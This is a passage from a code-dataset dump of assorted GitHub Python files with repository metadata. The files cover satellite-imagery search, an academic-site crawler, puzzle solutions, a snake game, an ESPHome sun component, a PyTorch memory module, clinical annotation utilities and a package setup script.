{}'.format(res.status_code))\n logger.error('Reason: {}'.format(res.reason))\n if res.status_code == 408:\n logger.warning('Request timeout.')\n raise ConnectionError\n page = res.json()\n next_url = page['_links'].get('_next')\n logger.debug(next_url)\n\n return next_url\n # if next_url:\n # fetch_pages(next_url, all_pages)\n\n # 250 is max page size\n feat_per_page = 250\n\n logger.debug('Getting page urls for search...')\n all_pages = []\n\n total_pages = math.ceil(total_count / feat_per_page) + 1\n logger.debug('Total pages for search: {}'.format(total_pages))\n pbar = tqdm(total=total_pages, desc='Parsing response pages')\n first_page_url = '{}/{}/results?_page_size={}'.format(constants.SEARCH_URL, saved_search_id, feat_per_page)\n next_page = first_page_url\n while next_page:\n # pbar.write('Parsing: {}'.format(next_page))\n next_page = fetch_pages(next_page, all_pages=all_pages)\n pbar.update(1)\n logger.debug('Pages: {}'.format(len(all_pages)))\n\n return all_pages\n\n\n@retry(wait_exponential_multiplier=1000, wait_exponential_max=10000,\n stop_max_delay=30000)\ndef process_page(page_url):\n session = get_session()\n res = session.get(page_url)\n if res.status_code == 429:\n logger.debug('Response: {} - rate limited - retrying...'.format(res.status_code))\n raise Exception(\"Rate limit error. Retrying...\")\n if res.status_code != 200:\n logger.error('Error connecting to search API: {}'.format(page_url))\n logger.error('Status code: {}'.format(res.status_code))\n logger.error('Reason: {}'.format(res.reason))\n raise ConnectionError\n\n gdf = response2gdf(response=res)\n\n return gdf\n\n\ndef get_features(saved_search_id, total_count):\n\n all_pages = get_search_page_urls(saved_search_id=saved_search_id,\n total_count=total_count)\n\n threads = 1\n thread_pool = ThreadPool(threads)\n logger.debug('Getting features...')\n results = thread_pool.map(process_page, all_pages)\n\n logger.info('Combining page results...')\n master_footprints = pd.concat(results)\n\n return master_footprints\n\n\ndef select_scenes(search_id, dryrun=False):\n\n # Test a request\n session = get_session()\n r = session.get(constants.PLANET_URL)\n if not r.status_code == 200:\n logger.error('Error connecting to Planet Data API.')\n\n logger.info('Performing query using saved search ID: {}'.format(search_id))\n\n # Get a total count for the given filters\n # Get search request of passed search ID\n sr = get_saved_search(session=session, search_id=search_id)\n sr_name = sr['name']\n total_count = get_search_count(search_request=sr)\n\n # Perform requests to API to return features, which are converted to footprints in a geodataframe\n master_footprints = gpd.GeoDataFrame()\n if not dryrun:\n master_footprints = get_features(saved_search_id=search_id, total_count=total_count)\n logger.info('Total features processed: {:,}'.format(len(master_footprints)))\n\n return master_footprints, sr_name\n\n\ndef write_scenes(scenes, out_name=None, out_path=None, out_dir=None):\n if out_dir:\n # Use search request name as output\n out_path = os.path.join(out_dir, '{}.geojson'.format(out_name))\n # TODO: Check if out_scenes exists (earlier) abort if not overwrite\n logger.info('Writing selected features to file: {}'.format(out_path))\n write_gdf(scenes, out_path)\n\n\ndef get_search_footprints(out_path=None, out_dir=None,\n to_scenes_tbl=False, dryrun=False,\n search_id=None, **kwargs):\n if not PLANET_API_KEY:\n logger.error('Error retrieving API key. Is PL_API_KEY env. variable '\n 'set?')\n\n scenes, search_name = select_scenes(search_id=search_id, dryrun=dryrun)\n if len(scenes) == 0:\n logger.warning('No scenes found. Exiting.')\n sys.exit()\n if any([out_path, out_dir]):\n if out_dir:\n write_scenes(scenes, out_name=search_name, out_dir=out_dir)\n else:\n write_scenes(scenes, out_path=out_path)\n\n if to_scenes_tbl:\n with Postgres(host=constants.SANDWICH, database=constants.PLANET) as db:\n db.insert_new_records(scenes,\n table=constants.SCENES,\n dryrun=dryrun)\n\n return scenes\n\n\n# TODO: WISHLIST: convert to SearchSession class (all fxns that take session)\n# TODO: move constants to lib.constants.py","repo_name":"disbr007/planet_tools","sub_path":"lib/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":33354,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"} +{"seq_id":"10020926424","text":"# coding:utf8\nimport requests\nimport time\nimport ParserModel\nimport json\nimport hashlib\n\nurl_search = \"http://epub.cnki.net/KNS/request/SearchHandler.ashx\"\nurl_data = \"http://epub.cnki.net/kns/brief/brief.aspx\"\nheaders = {'Connection':'Keep-Alive',\n 'Accept':'text/html,*/*',\n 'User-Agent':'Mozilla/6.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.66 Safari/537.36',\n 'Referer':'http://epub.cnki.net/kns/brief/result.aspx?dbprefix=scdb&action=scdbsearch&db_opt=SCDB'}\n\npayload_search = {'action': '',\n 'NaviCode': '*',\n \"ua\":\"1.21\",\n 'PageName':'ASP.brief_result_aspx',\n \"DbPrefix\": \"SCDB\",\n 'DbCatalog':'中国学术文献网络出版总库',\n 'ConfigFile':'SCDB.xml',\n 'db_opt': 'CJFQ,CJFN,CDFD,CMFD,CPFD,IPFD,CCND,CCJD,HBRD',\n 'base_special1':'%',\n 'magazine_value1': '电信科学', # 杂志名称\n 'magazine_special1': '%',\n 'his':'0',\n '__':time.strftime('%a %b %d %Y %H:%M:%S')+' GMT+0800 (中国标准时间)'\n }\n\npayload_data = {'pagename':'ASP.brief_result_aspx',\n 'dbPrefix': 'SCDB',\n 'DbCatalog': '中国学术文献网络出版总库', # 搜索数据库\n 'ConfigFile':'SCDB.xml',\n 'research':'off',\n 't':int(time.time()),\n 'keyValue':'',\n 'S':'1'}\n\ns = requests.Session()\nr_search = s.get(url_search, params=payload_search, headers=headers)\n#将搜索句柄cookies传递给结果\nr_data = s.get(url_data, params=payload_data, headers=headers)\n##def save_html(html, name):\n## with open(\"test/\"+name+\".html\",\"w\",encoding=\"utf8\") as f:\n## f.write(html.decode(\"utf8\"))\n\n#ParserModel模块测试\nwith open(\"CNKI_template.xml\",\"r\",encoding=\"utf8\") as f:\n xml_file = f.read()\nwith open(\"url_normalize.py\", encoding=\"utf8\") as f:\n script = f.read()\nparser = ParserModel.XMLParser()\nparser.load_parsed_files(xml_file, script)\nurls = [r_data.url]\nfinish_url = []\n\nwith open(\"result.json\", \"w\" ,encoding=\"utf8\") as f:\n result = {}\n result[\"data\"] = []\n try:\n while True:\n url = urls.pop()\n if url in finish_url:\n continue\n #print(len(urls))\n #print(url)\n r = s.get(url, headers=headers)\n html_content = r.content.decode(\"utf8\")\n t1 = time.clock()\n parser.parsering(url, html_content)\n print(u\"CNKI爬虫中parser模块parsering方法时间:%f\"%(time.clock()-t1))\n #去重\n if \"outlink\" in parser.result.keys():\n urls = list(set(urls + list(parser.result[\"outlink\"].keys())))\n if \"parsed-data\" in parser.result.keys():\n result[\"data\"].append(parser.result[\"parsed-data\"])\n finish_url.append(url)\n time.sleep(3)\n if len(urls) == 0:\n break\n finally:\n f.write(json.dumps(result, ensure_ascii=False))\n","repo_name":"shikanon/ParserModel","sub_path":"test/CNKI_crawl_v1.1.py","file_name":"CNKI_crawl_v1.1.py","file_ext":"py","file_size_in_byte":3125,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"30963829882","text":"def removeDuplicates(nums): \n mxlen = len(nums)\n index = 0\n count = 1\n if mxlen <= 1:\n return mxlen\n while index < mxlen-1:\n if nums[index] != nums[index+1]:\n index+=1\n count+=1\n else:\n nums.pop(index+1)\n mxlen -= 1\n \n return count\n \n\ndef solution():\n inpt = input().split(' ')\n x = removeDuplicates(inpt)\n print(inpt,x)\n\n\ndef test():\n a = [1,2,3,3,3,3]\n b = set(a)\n print(b)\n\nsolution()\n# test()","repo_name":"teethat-lsk/programmingProblems","sub_path":"leetCode/26. Remove Duplicates from Sorted Array.py","file_name":"26. Remove Duplicates from Sorted Array.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"17056548712","text":"import copy\n\ndata = [[int(y) for y in x.strip()] for x in open('input.txt').readlines() if x]\nmat = copy.deepcopy(data)\ntotal = 0\n\n\ndef pp(matrix):\n for row in matrix:\n print(row)\n\ndef tick(mat):\n for i in range(len(mat)):\n for j in range(len(mat[i])):\n mat[i][j] += 1\n\ndef flash(mat, i, j):\n if mat[i][j] == 0:\n return\n if mat[i][j] < 9:\n mat[i][j] += 1\n return\n \n global total\n total += 1\n # Update the point itself\n mat[i][j] = 0\n\n # Left col\n if i != 0:\n # Left\n flash(mat, i-1, j)\n # Up\n if j != 0:\n flash(mat, i-1, j-1)\n # Down\n if j+1 != len(mat[i]):\n flash(mat, i-1, j+1)\n\n # Right col\n if i+1 != len(mat):\n # Right\n flash(mat, i+1, j)\n # Up\n if j != 0:\n flash(mat, i+1, j-1)\n # Down\n if j+1 != len(mat[i]):\n flash(mat, i+1, j+1)\n\n # Up\n if j != 0:\n flash(mat, i, j-1)\n\n # Down\n if j+1 != len(mat[i]):\n flash(mat, i, j+1)\n\n\ndef flasher(mat):\n for i in range(len(mat)):\n for j in range(len(mat[i])):\n if mat[i][j] == 10:\n flash(mat, i, j)\n\n# Part 1\nfor step in range(100):\n tick(mat)\n flasher(mat)\n\nprint(total)\n\ntotal = 0\nmat = copy.deepcopy(data)\nfor step in range(1000):\n tick(mat)\n flasher(mat)\n if all([all(val == 0 for val in row) for row in mat]):\n print(step + 1)\n","repo_name":"ben-mur64/advent-2021","sub_path":"11/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":1476,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"41313351961","text":"import random , os\nimport pygame\n\n\npygame.init()\n\nx=540\ny=960\n\n\nDISPLAYSURF=pygame.display.set_mode((x,y))\npygame.display.set_caption('snake game')\n\n\nbg=(0,0,0)\nBLUE=(0,0,255)\nwhite=(255,255,255)\nred=(255,0,0)\n\n\nfont=pygame.font.SysFont( None ,30)\nfont1=pygame.font.SysFont( None ,39)\nfont3=pygame.font.SysFont( None ,10)\n\n\ndef text_screen(text,colour,x1,y1):\n\t\tscreen_text=font.render(text, True ,colour)\n\t\tDISPLAYSURF.blit(screen_text,(x1,y1))\n\n\ndef txt(text,colour,x1,y1):\n\t\tscreen_text=font1.render(text, True ,colour)\n\t\tDISPLAYSURF.blit(screen_text,(x1,y1))\n\t\t\n\ndef text_objects(text, font):\n textSurface = font.render(text, True, bg)\n return textSurface, textSurface.get_rect()\n\n\ndef button(msg, x, y, w, h, ic, ac, action=None):\n mouse = pygame.mouse.get_pos()\n click = pygame.mouse.get_pressed()\n\n if x + w > mouse[0] > x and y + h > mouse[1] > y:\n # pygame.draw.rect(DISPLAYSURF, ac, (x, y, w, h))\n if click[0] == 1 and action != None:\n action()\n else:\n pygame.draw.rect(DISPLAYSURF, ic, (x, y, w, h))\n smallText = pygame.font.SysFont(\"comicsansms\", 20)\n textSurf, textRect = text_objects(msg, smallText)\n textRect.center = ((x + (w / 2)), (y + (h / 2)))\n DISPLAYSURF.blit(textSurf, textRect)\n\n\ngs=False\n\n\nwhile not gs:\n\t\t\tDISPLAYSURF.fill(white)\n\t\t\ttxt('WELCOME TO SNAKE GAME',bg,0,100)\n\t\t\ttext_screen('PRESS ENTER TO PLAY',red,100,150)\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type==pygame.KEYDOWN:\n\t\t\t\t\tif event.key==pygame.K_RETURN:\n\t\t\t\t\t\tgs=True\n\t\t\tpygame.display.update()\n\n\ndef gameloop():\n\n\t\n\trex=100\n\trey=270\n\tsize=20\n\tfps=20\n\tclock=pygame.time.Clock()\n\tvelx=0\n\tvely=0\n\tscore=0\n\tvel=3\n\tge=False\n\tgo=False\n\t\n\t\n\twhile True:\n\t\tfx=random.randint(10,x//2)\n\t\tfy=random.randint(10,550)\n\t\tif fx>(100-60) and fx<(100+60) and fy>=100 and fy<=200:\n\t\t\tcontinue\n\t\telif fx>(400-60) and fx<(400+60) and fy>=200 and fy<=300:\n\t\t\tcontinue\n\t\telif fy>(100-60) and fy<(100+60) and fx>=100 and fy<=400:\n\t\t\tcontinue\n\t\telif fy>(200-60) and fy<(200+60) and fx>=100 and fy<=400:\n\t\t\tcontinue\n\t\telif fy>(300-60) and fy<(300+60) and fx>=100 and fy<=400:\n\t\t\tcontinue\n\t\telse: \n\t\t\tbreak\n\t\n\t\n\tif os.path.exists('highscore.txt'):\n\t\twith open('highscore.txt','r') as f1:\n\t\t\thighscore=f1.read()\n\telse:\n\t\twith open('highscore.txt','w') as f1:\n\t\t\tf1.write(0)\n\t\n\t\n\tsnk_list=[]\n\tsnk_length=1\n\tdef plot_snk(DISPLAYSURF,colour,snk_list,sizex,sizey):\n\t\tfor x,y in snk_list:\n\t\t\tpygame.draw.rect(DISPLAYSURF,colour,(x,y,sizex,sizey))\n\t\n\t\n\twhile not ge:\t\n\t\t\tfor event in pygame.event.get():\n\t\t\t\tif event.type==pygame.KEYDOWN:\n\t\t\t\t\tif event.key==pygame.K_RIGHT or event.key==pygame.K_6:\n\t\t\t\t\t\t\tvelx=vel\n\t\t\t\t\t\t\tvely=0\n\t\t\t\t\tif event.key==pygame.K_LEFT or event.key==pygame.K_4:\n\t\t\t\t\t\t\tvelx=-vel\n\t\t\t\t\t\t\tvely=0\n\t\t\t\t\tif event.key==pygame.K_UP or event.key==pygame.K_8:\n\t\t\t\t\t\t\tvely=-vel\n\t\t\t\t\t\t\tvelx=0\n\t\t\t\t\tif event.key==pygame.K_DOWN or event.key==pygame.K_2:\n\t\t\t\t\t\t\tvely=vel\n\t\t\t\t\t\t\tvelx=0\n\t\t\t\t\tif event.key==pygame.K_SPACE:\n\t\t\t\t\t\t\tvelx=0 \n\t\t\t\t\t\t\tvely=0\t\n\t\t\t\n\t\t\t\n\t\t\tdef right():\n\t\t\t\tvelx=vel\n\t\t\t\tvely=0\n\t\t\tdef left():\n\t\t\t\tvelx=-vel\n\t\t\t\tvely=0\n\t\t\tdef up():\n\t\t\t\tvely=-vel\n\t\t\t\tvelx=0\n\t\t\tdef down():\n\t\t\t\tvely=vel\n\t\t\t\tvelx=0\n\t\t\t\t\n\t\t\t\n\t\t\tif abs(rex-fx)<=6 and abs(rey-fy)<=6:\n\t\t\t\tscore+=10\n\t\t\t\tfx=random.randint(10,x/2)\n\t\t\t\tfy=random.randint(10,550)\n\t\t\t\tsnk_length+=3\n\t\t\t\tvel+=1\n\t\t\t\n\t\t\t\n\t\t\tif rey>600:\n\t\t\t\trey=0\n\t\t\tif rey<0:\n\t\t\t\trey=600\n\t\t\tif rex>x:\n\t\t\t\trex=0\n\t\t\tif rex<0:\n\t\t\t\trex=x\n\t\t\t\n\t\t\t\n\t\t\tif rey>(300-30) and rey<(300+10) and rex>=100 and rex<=400:\n\t\t\t\tgo=True\n\t\t\tif rey>(100-30) and rey<(100+10) and rex>=100 and rex<=400:\n\t\t\t\tgo=True\n\t\t\tif rey>(200-30) and rey<(200+10) and rex>=100 and rex<=400:\n\t\t\t\tgo=True\n\t\t\tif rex>(100-30) and rex<(100+10) and rey>=100 and rey<=200:\n\t\t\t\tgo=True\n\t\t\tif rex>(400-30) and rex<(400+10) and rey>=200 and rey<=300:\n\t\t\t\tgo=True\n\t\t\t\n\t\t\t\n\t\t\trex=rex+velx\n\t\t\trey=rey+vely\n\t\t\t\n\t\t\t\n\t\t\tDISPLAYSURF.fill(bg)\n\t\t\t\n\t\t\t\n\t\t\tpygame.draw.rect(DISPLAYSURF,red,(fx,fy,size,size))\n\t\t\t\n\t\t\t\n\t\t\tplot_snk(DISPLAYSURF,white,snk_list,size,size)\n\t\t\t\n\t\t\t\n\t\t\tpygame.draw.line(DISPLAYSURF,white,(0,600),(540,600),20)\t\n\t\t\tpygame.draw.line(DISPLAYSURF,white,(0,0),(0,600),20)\n\t\t\tpygame.draw.line(DISPLAYSURF,white,(0,0),(540,0),20)\n\t\t\tpygame.draw.line(DISPLAYSURF,white,(540,0),(540,600),20)\t\n\t\t\tpygame.draw.line(DISPLAYSURF,BLUE,(100,100),(400,100),20)\t\t\n\t\t\tpygame.draw.line(DISPLAYSURF,BLUE,(100,200),(400,200),20)\n\t\t\tpygame.draw.line(DISPLAYSURF,BLUE,(100,300),(400,300),20)\t\t\n\t\t\tpygame.draw.line(DISPLAYSURF,BLUE,(100,100),(100,200),20)\n\t\t\tpygame.draw.line(DISPLAYSURF,BLUE,(400,200),(400,300),20)\n\t\t\t\n\t\t\t\n\t\t\ttext_screen(\"SCORE:\"+str(score),red,50,50)\n\t\t\ttext_screen(\"HIGH SCORE:\"+str(highscore),red,50,25)\n\t\t\t\n\t\t\t\n\t\t\tif go==True:\n\t\t\t\tif score> int(highscore):\n\t\t\t\t\t\thighscore=score\t\t\n\t\t\t\twith open('highscore.txt','w') as f2:\n\t\t\t\t\tf2.write(str(highscore))\n\t\t\t\tDISPLAYSURF.fill(white)\n\t\t\t\ttxt(\"game over\",red,120,350)\n\t\t\t\ttext_screen(\"SCORE:\"+str(score)+' HIGH SCORE:'+str(highscore),red,80,400)\n\t\t\t\ttext_screen('PRESS ENTER TO QUIT',red,145,450)\n\t\t\t\tfor event in pygame.event.get():\n\t\t\t\t\tif event.type==pygame.KEYDOWN:\n\t\t\t\t\t\tif event.key==pygame.K_RETURN:\n\t\t\t\t\t\t\tge=True\n\t\t\t\t\t\tif event.key==pygame.K_SPACE:\n\t\t\t\t\t\t\tgameloop()\n\t\t\t\n\t\t\t\n\t\t\thead=[]\n\t\t\thead.append(rex)\n\t\t\thead.append(rey)\n\t\t\tsnk_list.append(head)\n\t\t\t\n\t\t\t\n\t\t\tif len(snk_list)>snk_length:\n\t\t\t\tdel snk_list[0]\n\t\t\tif head in snk_list[:-1]:\n\t\t\t\tgo=True\n\t\t\t\t\t\t\n\t\t\tpygame.display.update()\t\n\t\t\tclock.tick(fps)\n\n\ngameloop()\n\n\t\t\n\t\t\t","repo_name":"anirudhasj441/SNAKE-GAME","sub_path":"SNAKE GAME/newfile.py","file_name":"newfile.py","file_ext":"py","file_size_in_byte":5427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"2414480531","text":"import re\n\nimport esphome.codegen as cg\nimport esphome.config_validation as cv\nfrom esphome import automation\nfrom esphome.components import time\nfrom esphome.const import (\n CONF_TIME_ID,\n CONF_ID,\n CONF_TRIGGER_ID,\n CONF_LATITUDE,\n CONF_LONGITUDE,\n)\n\nCODEOWNERS = [\"@OttoWinter\"]\nsun_ns = cg.esphome_ns.namespace(\"sun\")\n\nSun = sun_ns.class_(\"Sun\")\nSunTrigger = sun_ns.class_(\n \"SunTrigger\", cg.PollingComponent, automation.Trigger.template()\n)\nSunCondition = sun_ns.class_(\"SunCondition\", automation.Condition)\n\nCONF_SUN_ID = \"sun_id\"\nCONF_ELEVATION = \"elevation\"\nCONF_ON_SUNRISE = \"on_sunrise\"\nCONF_ON_SUNSET = \"on_sunset\"\n\n# Default sun elevation is a bit below horizon because sunset\n# means time when the entire sun disk is below the horizon\nDEFAULT_ELEVATION = -0.83333\n\nELEVATION_MAP = {\n \"sunrise\": 0.0,\n \"sunset\": 0.0,\n \"civil\": -6.0,\n \"nautical\": -12.0,\n \"astronomical\": -18.0,\n}\n\n\ndef elevation(value):\n if isinstance(value, str):\n try:\n value = ELEVATION_MAP[\n cv.one_of(*ELEVATION_MAP, lower=True, space=\"_\")(value)\n ]\n except cv.Invalid:\n pass\n value = cv.angle(value)\n return cv.float_range(min=-180, max=180)(value)\n\n\n# Parses sexagesimal values like 22°57′7″S\nLAT_LON_REGEX = re.compile(\n r\"([+\\-])?\\s*\"\n r\"(?:([0-9]+)\\s*°)?\\s*\"\n r\"(?:([0-9]+)\\s*[′\\'])?\\s*\"\n r'(?:([0-9]+)\\s*[″\"])?\\s*'\n r\"([NESW])?\"\n)\n\n\ndef parse_latlon(value):\n if isinstance(value, str) and value.endswith(\"°\"):\n # strip trailing degree character\n value = value[:-1]\n try:\n return cv.float_(value)\n except cv.Invalid:\n pass\n\n value = cv.string_strict(value)\n m = LAT_LON_REGEX.match(value)\n\n if m is None:\n raise cv.Invalid(\"Invalid format for latitude/longitude\")\n sign = m.group(1)\n deg = m.group(2)\n minute = m.group(3)\n second = m.group(4)\n d = m.group(5)\n\n val = float(deg or 0) + float(minute or 0) / 60 + float(second or 0) / 3600\n if sign == \"-\":\n val *= -1\n if d and d in \"SW\":\n val *= -1\n return val\n\n\nCONFIG_SCHEMA = cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(Sun),\n cv.GenerateID(CONF_TIME_ID): cv.use_id(time.RealTimeClock),\n cv.Required(CONF_LATITUDE): cv.All(\n parse_latlon, cv.float_range(min=-90, max=90)\n ),\n cv.Required(CONF_LONGITUDE): cv.All(\n parse_latlon, cv.float_range(min=-180, max=180)\n ),\n cv.Optional(CONF_ON_SUNRISE): automation.validate_automation(\n {\n cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(SunTrigger),\n cv.Optional(CONF_ELEVATION, default=DEFAULT_ELEVATION): elevation,\n }\n ),\n cv.Optional(CONF_ON_SUNSET): automation.validate_automation(\n {\n cv.GenerateID(CONF_TRIGGER_ID): cv.declare_id(SunTrigger),\n cv.Optional(CONF_ELEVATION, default=DEFAULT_ELEVATION): elevation,\n }\n ),\n }\n)\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n time_ = await cg.get_variable(config[CONF_TIME_ID])\n cg.add(var.set_time(time_))\n cg.add(var.set_latitude(config[CONF_LATITUDE]))\n cg.add(var.set_longitude(config[CONF_LONGITUDE]))\n\n for conf in config.get(CONF_ON_SUNRISE, []):\n trigger = cg.new_Pvariable(conf[CONF_TRIGGER_ID])\n await cg.register_component(trigger, conf)\n await cg.register_parented(trigger, var)\n cg.add(trigger.set_sunrise(True))\n cg.add(trigger.set_elevation(conf[CONF_ELEVATION]))\n await automation.build_automation(trigger, [], conf)\n\n for conf in config.get(CONF_ON_SUNSET, []):\n trigger = cg.new_Pvariable(conf[CONF_TRIGGER_ID])\n await cg.register_component(trigger, conf)\n await cg.register_parented(trigger, var)\n cg.add(trigger.set_sunrise(False))\n cg.add(trigger.set_elevation(conf[CONF_ELEVATION]))\n await automation.build_automation(trigger, [], conf)\n\n\n@automation.register_condition(\n \"sun.is_above_horizon\",\n SunCondition,\n cv.Schema(\n {\n cv.GenerateID(): cv.use_id(Sun),\n cv.Optional(CONF_ELEVATION, default=DEFAULT_ELEVATION): cv.templatable(\n elevation\n ),\n }\n ),\n)\nasync def sun_above_horizon_to_code(config, condition_id, template_arg, args):\n var = cg.new_Pvariable(condition_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n templ = await cg.templatable(config[CONF_ELEVATION], args, cg.double)\n cg.add(var.set_elevation(templ))\n cg.add(var.set_above(True))\n return var\n\n\n@automation.register_condition(\n \"sun.is_below_horizon\",\n SunCondition,\n cv.Schema(\n {\n cv.GenerateID(): cv.use_id(Sun),\n cv.Optional(CONF_ELEVATION, default=DEFAULT_ELEVATION): cv.templatable(\n elevation\n ),\n }\n ),\n)\nasync def sun_below_horizon_to_code(config, condition_id, template_arg, args):\n var = cg.new_Pvariable(condition_id, template_arg)\n await cg.register_parented(var, config[CONF_ID])\n templ = await cg.templatable(config[CONF_ELEVATION], args, cg.double)\n cg.add(var.set_elevation(templ))\n cg.add(var.set_above(False))\n return var\n","repo_name":"esphome/esphome","sub_path":"esphome/components/sun/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5327,"program_lang":"python","lang":"en","doc_type":"code","stars":6791,"dataset":"github-code","pt":"47"} +{"seq_id":"32048507825","text":"import collections\nimport numpy as np\nfrom abc import ABC\nimport torch\nimport torch.nn.functional as F\nfrom torch import nn, autograd\n\n\nclass WM(autograd.Function):\n\n @staticmethod\n def forward(ctx, inputs, targets, score, features, momentum):\n ctx.features = features\n ctx.momentum = momentum\n ctx.save_for_backward(inputs, targets, score)\n outputs = inputs.mm(ctx.features.t())\n\n return outputs\n\n @staticmethod\n def backward(ctx, grad_outputs):\n inputs, targets, score = ctx.saved_tensors\n grad_inputs = None\n if ctx.needs_input_grad[0]:\n grad_inputs = grad_outputs.mm(ctx.features)\n\n # momentum update\n for x, y in zip(inputs, targets):\n ctx.features[y] = ctx.momentum * ctx.features[y] + (1. - ctx.momentum) * score * x\n ctx.features[y] /= ctx.features[y].norm()\n\n return grad_inputs, None, None, None\n\n\ndef wm(inputs, indexes, score, features, momentum=0.5):\n return WM.apply(inputs, indexes, score, features, torch.Tensor([momentum]).to(inputs.device))\n\n\n\nclass WirelessMemory(nn.Module, ABC):\n def __init__(self, num_features, num_samples, temp=0.05, momentum=0.2, use_hard=False):\n super(WirelessMemory, self).__init__()\n self.num_features = num_features\n self.num_samples = num_samples\n\n self.momentum = momentum\n self.temp = temp\n self.use_hard = use_hard\n\n self.register_buffer('features', torch.zeros(num_samples, num_features))\n\n def forward(self, inputs, targets):\n inputs = F.normalize(inputs, dim=1).cuda()\n for target, score in enumerate(targets):\n if score != 0: \n outputs = wm(inputs, target, score, self.features, self.momentum)\n outputs /= self.temp\n loss += score * F.cross_entropy(outputs, target)\n return loss","repo_name":"qsun1/Unsupervised-ReID-Under-Weak-Scene-Labeling","sub_path":"clustercontrast/models/wm.py","file_name":"wm.py","file_ext":"py","file_size_in_byte":1901,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"35680115362","text":"#!/usr/bin/env python\n#The following program calculates all pythagorean numbers less than a maximal number.\n#Remark: We havae to import the math module to be able to calculate the square root of a number.\n\nfrom math import sqrt\nn = int(input(\"Maximal number \"))\nfor a in range(1,n+1):\n for b in range(a,n):\n c_square = a**2 + b**2\n c = int(sqrt(c_square))\n if ((c_square - c**2) == 0):\n print(a, b, c)","repo_name":"bibekmantree/python-course","sub_path":"pythagoras.py","file_name":"pythagoras.py","file_ext":"py","file_size_in_byte":436,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"39880496556","text":"\ndef get_section(section_label, section_sentence):\n \"\"\"\n Arguments:\n section_label: all sections for a given label.\n section_sentence: all sections with boundaries sentences\n \n Outputs:\n id_section: id of section\n section: text of section\n \"\"\"\n id_section = None\n section = None\n for s in section_label:\n if s.name == section_sentence.attrib['name']:\n id_section = s.id\n section = s.text\n break\n return id_section, section\n\t\ndef get_mentions(mentions, id_section):\n \"\"\"\n Arguments:\n mentions: all mentions for given label\n id_section: id of section\n \n Output:\n unique_section_mentions: set of mentions for given id_section\n section_mentions: list of mentions for given section\n \"\"\"\n section_mentions = []\n unique_section_mentions = set()\n for m in mentions:\n if m.section==id_section:\n section_mentions.append(m) \n \n #Return unique mentions\n for m in section_mentions:\n mention = (m.len, m.start, m.type, m.str, m.section)\n unique_section_mentions.add(mention)\n return unique_section_mentions, section_mentions\n\t\ndef get_relations(section_mentions, relations):\n \"\"\"\n Arguments:\n section_mentions: all mentions for given section\n relations: all relations in label\n Output:\n unique_relations: set of relations given a section\n \"\"\"\n unique_relations = set()\n for r in relations:\n arg1 = None\n arg2 = None\n for m in section_mentions:\n if m.id == r.arg1:\n arg1 = (m.len, m.start, m.type, m.str, m.section)\n elif m.id == r.arg2:\n arg2 = (m.len, m.start, m.type, m.str, m.section)\n unique_relations.add((arg1,r.type,arg2))\n return unique_relations\n\ndef get_mentions_relations_from_sentence(section_mentions, start, end, relations):\n set_ADE_mention = []\n set_ADE_relation = []\n for m in section_mentions:\n start_mention = m[1].split(',')\n if m[2] == 'AdverseReaction':\n modifier_set_id = set()\n for r in relations:\n if m == r[0]:\n modifier_set_id.add((r[2][0], r[2][1], r[2][2], r[2][3], r[2][4], r[1]))\n mention = None \n mstart = int(start_mention[0]) \n if mstart in range(start, end):\n if len(modifier_set_id)==0:\n mention = (m[0], m[1], m[2], m[3], m[4], 'no_rel')\n else:\n mention = (m[0], m[1], m[2], m[3], m[4], 'rel')\n set_ADE_relation.append((mention,modifier_set_id))\n set_ADE_mention.append(mention)\n return set_ADE_mention, set_ADE_relation\n\t\ndef return_overlapping_mentions_per_mention(start_m, end_m, modifier_set):\n contin_m = []\n discontin_m = []\n for m in modifier_set:\n start_mention = m[1].split(',')\n len_mention = m[0].split(',') \n mstart = int(start_mention[0]) \n mend = mstart + int(len_mention[0])\n \n if len(start_mention)==1:\n if mstart in range(start_m,end_m) or start_m in range(mstart,mend):\n contin_m.append(m)\n else:\n for b, e in zip(start_mention, len_mention):\n if int(b) in range(start_m,end_m) or start_m in range(int(b), int(b) + int(e)):\n discontin_m.append(m)\n return contin_m, discontin_m","repo_name":"drissiya/MTTLADE","sub_path":"data_utils/tac/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"47"} +{"seq_id":"34465418958","text":"from setuptools import setup, find_packages\nimport codecs\nimport os\n\ndef read(*parts):\n here = os.path.abspath(os.path.dirname(__file__))\n with codecs.open(os.path.join(here, *parts), \"r\") as fp:\n return fp.read()\n\nVERSION = '0.2.3'\nDESCRIPTION = 'Python package for building master curves from data'\n\n# Setting up\nsetup(\n # the name must match the folder name 'verysimplemodule'\n name=\"mastercurves\",\n version=VERSION,\n author=\"Kyle Lennon\",\n author_email=\"\",\n description=DESCRIPTION,\n license=\"GNU GPLv3\",\n long_description=read(\"README.md\"),\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/krlennon/mastercurves\",\n packages=find_packages(),\n install_requires=[\"numpy\", \"matplotlib\", \"scikit-learn\", \"scipy\", \"pandas\", \"numdifftools\"],\n keywords=['python', 'master', 'curves', 'mastercurves', 'Bayesian', 'Gaussian', 'process', 'regression', 'machine', 'learning', 'statistics'],\n classifiers= [\n \"Development Status :: 3 - Alpha\",\n \"Intended Audience :: End Users/Desktop\",\n \"Programming Language :: Python 